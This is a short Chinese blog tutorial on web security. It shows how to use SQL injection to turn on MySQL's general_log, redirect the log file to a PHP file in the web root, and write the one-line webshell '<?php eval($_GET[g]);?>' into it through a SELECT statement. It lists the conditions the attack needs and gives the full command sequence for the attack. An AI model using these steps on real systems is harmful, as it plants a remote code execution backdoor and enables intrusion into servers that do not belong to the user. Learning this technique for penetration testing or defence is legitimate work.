WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
newxtc4 小时前
【昆明市不动产登记中心-注册安全分析报告】
人工智能·安全
jieyu11195 小时前
uploads-labs靶场通关(1)
web安全·文件上传漏洞·靶场通关
满昕欢喜7 小时前
SQL Server从入门到项目实践(超值版)读书笔记 28
数据库·sql·sqlserver
忧郁的橙子.8 小时前
十六、kubernetes 1.29 之 集群安全机制
安全·容器·kubernetes
竹等寒8 小时前
Linux-网络安全私房菜(二)
linux·服务器·web安全
雪兽软件10 小时前
SaaS 安全是什么以及如何管理风险
网络·安全
white-persist11 小时前
CSRF 漏洞全解析:从原理到实战
网络·python·安全·web安全·网络安全·系统安全·csrf
samroom11 小时前
iframe实战:跨域通信与安全隔离
前端·安全
渗透测试老鸟-九青11 小时前
网络安全之揭秘APT Discord C2 以及如何取证
安全·web安全·网络安全学习路线
key0611 小时前
大模型在网络安全领域的应用与评测
网络·人工智能·web安全